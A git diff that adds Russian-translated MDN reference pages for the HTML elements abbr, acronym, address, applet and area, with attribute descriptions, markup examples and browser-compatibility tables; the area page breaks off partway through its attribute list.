+<p>В языках с {{interwiki("wikipedia", "grammatical number")}} (то есть, языки, в которых количество предметов влияет на грамматику предложения), используйте одинаковое граматическое число в атрибуте <code>title</code> и внутри элемента <code>&lt;abbr&gt;</code>. Это также имеет место в языках с более чем двумя грамматическими числами (например, арабский имеет не только категории единственного и множественного числа, но двойственного).</p>
+
+<h2 id="Стили_по-умолчанию">Стили по-умолчанию</h2>
+
+<p>Назначение данного элемента исключитально для удобства автора и браузеры отображают его как ({{cssxref('display')}}<code>: inline</code>) по-умолчанию, хотя его стиль по-умолчанию меняется в разных браузерах:</p>
+
+<ul>
+ <li>Некоторые браузеры, например Internet Explorer, стилизуют его как элемент {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox и другие добавляют подчёркивание точками к содержанию элемента.</li>
+ <li>Некоторые браузеры не только подчёркивают, но и меняют начертание на капитель (small caps). Чтобы избежать этого, добавьте {{cssxref('font-variant')}}<code>: none</code> в ваш CSS.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Семантическая_пометка_аббревиатуры">Семантическая пометка аббревиатуры</h3>
+
+<p>Чтобы пометить аббревиатуру без задания описания или расшифровок, просто используйте <code>&lt;abbr&gt;</code> без каких-либо атрибутов, как показано в примере ниже.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Использование &lt;abbr&gt;HTML&lt;/abbr&gt; – весело и легко!&lt;/p&gt;</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Семантическая_пометка_аббревиатуры")}}</p>
+
+<h3 id="Стилизация_аббревиатуры">Стилизация аббревиатуры</h3>
+
+<p>Вы можете использовать CSS, чтобы задать пользовательские стили для аббревиатуры, как показано в примере ниже.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Используя &lt;abbr&gt;CSS&lt;/abbr&gt;, вы можете стилизовать аббревиатуры!&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">abbr {
+  font-variant: all-small-caps;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample("Стилизация_аббревиатуры")}}</p>
+
+<h3 id="Задание_расшифровки">Задание расшифровки</h3>
+
+<p>Добавление атрибута {{htmlattrxref("title")}} даёт вам возможность задать расшифровку или описание для аббревиатуры или акронима.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Эта статья великолепна! &lt;abbr title="Подпишусь под Каждым Словом"&gt;ППКС&lt;/abbr&gt;
+без раздумий.&lt;/p&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Задание_расшифровки")}}</p>
+
+<h3 id="Определение_в_абревиатуре">Определение в абревиатуре</h3>
+
+<p>Вы можете использовать <code>&lt;abbr&gt;</code> вместе с {{HTMLElement("dfn")}} для более формального определения абревиатуры, как показано ниже.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;dfn id="html"&gt;&lt;abbr title="HyperText Markup Language"&gt;HTML&lt;/abbr&gt;
+&lt;/dfn&gt; – язык разметки, который используется для создания семантических и
+структурированных веб-страниц.&lt;/p&gt;
+
+&lt;p&gt;A &lt;dfn id="spec"&gt;Specification&lt;/dfn&gt;
+(&lt;abbr title="Specification"&gt;spec&lt;/abbr&gt;) – документ, в котором описаны основные
+принципы работы технологи или API и как получить к ним доступ.&lt;/p&gt;</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Определение_в_абревиатуре", 600, 120)}}</p>
+
+<p>Смотрите больше примеров в статье <a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting#%D0%90%D0%B1%D0%B1%D1%80%D0%B5%D0%B2%D0%B8%D0%B0%D1%82%D1%83%D1%80%D1%8B">Как размечать аббревиатуры и делать их понятными</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.elements.abbr")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/ru/Learn/HTML/Element/abbr">Использование элемента &lt;abbr&gt;</a></li>
+ <li>Другие <a href="/ru/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">элементы, являющиеся семантически текстовыми</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li>Устаревший элемент {{HTMLElement("acronym")}}, который был заменен элементом <code>&lt;abbr&gt;</code>.</li>
+</ul>
diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html
new file mode 100644
index 0000000000..ae4456dd4e
--- /dev/null
+++ b/files/ru/web/html/element/acronym/index.html
@@ -0,0 +1,120 @@
+---
+title: <acronym>
+slug: Web/HTML/Element/acronym
+tags:
+  - Obsolete
+translation_of: Web/HTML/Element/acronym
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Элемент акронима (<code>&lt;acronym&gt;)</code> позволяет явно указать, что данная последовательность букв, являющуюся акронимом или аббревиатурой.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Этот элемент был убран из спецификации HTML5, поэтому его не рекомендуется использовать.Вместо него используйте элемент {{HTMLElement("abbr")}}.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p>Этот элемент поддерживает <em>только </em><a class="new " href="/en-US/docs/HTML/global_attributes" rel="internal" title="HTML/global attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="DOM_Interface" name="DOM_Interface">Интерефейс DOM</h2>
+
+<p>Этот элемент реализует интерфейс {{domxref('HTMLElement')}}.</p>
+
+<div class="note"><strong>Примечание: </strong>Вплоть до Gecko 1.9.2 Firefox реализует для этого элемента интерфейс {{domxref('HTMLSpanElement')}}.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;p&gt;The &lt;acronym title="World Wide Web"&gt;WWW&lt;/acronym&gt; is only one component of the Internet.&lt;/p&gt;
+</pre>
+
+<h2 id="Default_styling" name="Default_styling">Стилизация по умолчанию</h2>
+
+<p>Хотя этого элемент употребляется чисто для удобств автора, разные браузеры отрисовывают его по-разному:</p>
+
+<ul>
+ <li>Некоторые, например, Internet Explorer, не стилизуют его, и он выглядит неотличимо от обычного {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox и некоторые други браузеры подчеркивают его точками.</li>
+ <li>Малая часть браузеров помимо подчёркивания точками также меняют начертание текста на капитель (small caps). Во избежание такого поведения, как вариант, необходимо добавить {{cssxref('font-variant')}}<code>: none</code> в CSS стиль.</li>
+</ul>
+
+<p>Поэтому настоятельно рекомендуется, чтобы веб-авторы не полагались на стиль по умолчанию.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коометарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ACRONYM', '&lt;acronym&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также:</h2>
+
+<ul>
+ <li>{{HTMLElement("abbr")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html
new file mode 100644
index 0000000000..3a45048f57
--- /dev/null
+++ b/files/ru/web/html/element/address/index.html
@@ -0,0 +1,161 @@
+---
+title: <address>
+slug: Web/HTML/Element/address
+tags:
+  - HTML
+  - HTML секции
+  - HTML справочник
+  - Вэб
+  - Элемент
+translation_of: Web/HTML/Element/address
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p><strong>HTML- тег <code>&lt;address&gt;</code>  </strong>задает контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong></p>
+
+<ul>
+ <li>Для представления адреса, который не является контактной информацией, воспользуйтесь {{HTMLElement("p")}} элементом.</li>
+ <li>Данный тег не должен содержать любой другой информации, кроме контактной. (пример: дата публикации - относится к {{HTMLElement("time")}} тегу ).</li>
+ <li>Обычно тег <span style="font-family: courier new;">&lt;address&gt;</span> размещается внутри тега {{HTMLElement("footer")}} текущего блока, если есть хотя бы один.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA" title="HTML/Content categories#Flow content">Основной поток</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA" title="HTML/Content categories#Flow content">Основной поток</a>, но без вложенного элемента <span style="font-family: courier new;">&lt;address&gt;</span>, без элементов заголовка ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), без секционного контента ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}) и без {{HTMLElement("header")}} или {{HTMLElement("footer")}} элементов.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элеметны</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}} Prior to Gecko 2.0 (Firefox 4), Gecko implemented this element using the {{domxref("HTMLSpanElement")}} interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Этот элемент включает в себя </span><a href="https://developer.mozilla.org/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html notranslate">  &lt;address&gt;
+    You can contact author at &lt;a href="http://www.somedomain.com/contact"&gt;www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+    If you see any bugs, please &lt;a href="mailto:webmaster@somedomain.com"&gt;contact webmaster&lt;/a&gt;.&lt;br&gt;
+    You may also want to visit us:&lt;br&gt;
+    Mozilla Foundation&lt;br&gt;
+    1981 Landings Drive&lt;br&gt;
+    Building K&lt;br&gt;
+    Mountain View, CA 94043-0801&lt;br&gt;
+    USA
+  &lt;/address&gt;
+</pre>
+
+<p>Результат:</p>
+
+<p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p>
+
+<p>Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передает дополнительную семантическую информацию.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечания</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерахEdit">Совместимость в браузерах<a class="button section-edit only-icon" href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/A$edit#%D0%A1%D0%BE%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C_%D0%B2_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D1%85"><span>Edit</span></a></h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>1.0</td>
+   <td>5.12</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}};</li>
+ <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Секции и контуры HTML5 документа</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html
new file mode 100644
index 0000000000..8ff6d23951
--- /dev/null
+++ b/files/ru/web/html/element/applet/index.html
@@ -0,0 +1,119 @@
+---
+title: <applet>
+slug: Web/HTML/Element/applet
+translation_of: Web/HTML/Element/applet
+---
+<div>{{obsolete_header}}</div>
+
+<p>Элемент HTML апплет (&lt;applet&gt;) определяет включение апплета java.</p>
+
+<div class="note">
+<p>Примечание: {{htmlelement("applet")}} элемент был удален в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a> в конце 2015 года. Удаление рассматривается в <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> и <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>Этот атрибут используется для установки апплета на странице относительно содержания, которая может течь вокруг него. В HTML 4.01 определяет значения снизу, слева, посередине, справа и сверху, в то время как Microsoft и Netscape также может поддерживать <strong>absbottom</strong>, <strong>absmiddle</strong>, <strong>baseline</strong>, <strong>center</strong>, и <strong>texttop</strong>.</dd>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>This attribute causes a descriptive text alternate to be displayed on browsers that do not support Java. Page designers should also remember that content enclosed within the <code>&lt;applet&gt;</code> element may also be rendered as alternative text.</dd>
+ <dt>{{htmlattrdef("archive")}}</dt>
+ <dd>This attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time.</dd>
+ <dt>{{htmlattrdef("code")}}</dt>
+ <dd>This attribute specifies the URL of the applet's class file to be loaded and executed. Applet filenames are identified by a .class filename extension. The URL specified by code might be relative to the <code>codebase</code> attribute.</dd>
+ <dt>{{htmlattrdef("codebase")}}</dt>
+ <dd>This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.</dd>
+ <dt>{{htmlattrdef("datafld")}}</dt>
+ <dd>This attribute, supported by Internet Explorer 4 and higher, specifies the column name from the data source object that supplies the bound data. This attribute might be used to specify the various {{HTMLElement("param")}} elements passed to the Java applet.</dd>
+ <dt>{{htmlattrdef("datasrc")}}</dt>
+ <dd>Like <code>datafld</code>, this attribute is used for data binding under Internet Explorer 4. It indicates the id of the data source object that supplies the data that is bound to the {{HTMLElement("param")}} elements associated with the applet.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>This attribute specifies the height, in pixels, that the applet needs.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>This attribute specifies additional horizontal space, in pixels, to be reserved on either side of the applet.</dd>
+ <dt>{{htmlattrdef("mayscript")}}</dt>
+ <dd>In the Netscape implementation, this attribute allows access to an applet by programs in a scripting language embedded in the document.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>This attribute assigns a name to the applet so that it can be identified by other resources; particularly scripts.</dd>
+ <dt>{{htmlattrdef("object")}}</dt>
+ <dd>This attribute specifies the URL of a serialized representation of an applet.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>As defined for Internet Explorer 4 and higher, this attribute specifies a URL for an associated file for the applet. The meaning and use is unclear and not part of the HTML standard.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>This attribute specifies additional vertical space, in pixels, to be reserved above and below the applet.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>This attribute specifies in pixels the width that the applet needs.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;applet code="game.class" align="left" archive="game.zip" height="250" width="350"&gt;
+  &lt;param name="difficulty" value="easy"&gt;
+  &lt;b&gt;Sorry, you need Java to play this game.&lt;/b&gt;
+&lt;/applet&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The {{htmlelement("applet")}} element was removed in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> and <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome in late 2015</a>. Removal is being considered in <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> and <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The W3C specification does not encourage the use of <code>&lt;applet&gt;</code> and prefers the use of the {{HTMLElement("object")}} tag. Under the strict definition of HTML 4.01, this element is deprecated and entirely obsolete in HTML5.</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html
new file mode 100644
index 0000000000..fb40396f4a
--- /dev/null
+++ b/files/ru/web/html/element/area/index.html
@@ -0,0 +1,192 @@
+---
+title: <area>
+slug: Web/HTML/Element/area
+translation_of: Web/HTML/Element/area
+---
+<div><strong>HTML <code>&lt;area&gt;</code> элемент </strong>определяет активную область на изображении и, при желании, связывает ее с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="en-US/docs/HTML/Content_categories">Категории содержимого</a></th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Content_categories#Flow_content" rel="nofollow">Элементы потока</a>, <a href="ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразового контента</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Нет, это {{Glossary("пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>
+    <p>Открывающий тег обязателен, закрывающего быть не должно.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые родительские элементы</th>
+   <td>
+    <p>Любой элемент, допускающий <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>. У элемента <code>&lt;area&gt;</code> должен быть родитель {{HTMLElement("map")}}, но он не должен быть прямым родетелем.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLAreaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя только <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline("4")}} только, {{obsolete_inline("5.0")}}</dt>
+ <dd>Specifies a keyboard navigation accelerator for the element. Pressing ALT or a similar key in association with the specified character selects the form control correlated with that key sequence. Page designers are forewarned to avoid key sequences already bound to browsers. This attribute is global since HTML5.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>С помощью этого атрибута задается альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута <strong>href</strong>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("coords")}}</dt>
+ <dd>Задает значения координат для активной области. Значение и количество значений зависят от значения укзанного для атрибута <strong>shape</strong>. Для <code>rect</code> или прямоугольника задаются две пары значений x,y <strong>coords</strong>: лево, верх, право и низ. Для <code>circle</code>, значения <code>x,y,r</code> где <code>x,y</code> координаты центра круга, а <code>r</code> радиус. Для <code>poly</code> или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: <code>x1,y1,x2,y2,x3,y3,</code> и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.</dd>
+ <dt>{{htmlattrdef("download")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот атрибут, если он добавлен, указывает, что ссылка используется для скачивания файла. Смотри {{HTMLElement("a")}} для полного описания атрибута {{htmlattrxref("download", "a")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Ссылка для активной области. Это значение действующего URL. В HTML4, этот или <strong>nohref</strong> атрибут обязательный. В HTML5, данный атрибут можно пропустить при условии, что активная область не является ссылкой.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("hreflang")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Указывает язык связанного ресурса. Допустимые значения определяются <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>. Используйте данный атрибут при наналичии атрибута <strong>href</strong>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Определяет имя интерактивной области, чтобы оно могло прописатся в старых браузерах.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("media")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint of the media for which the linked resource was designed, for example <code>print and screen</code>. If omitted, it defaults to <code>all</code>. Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+</dl>
+
+<dl>
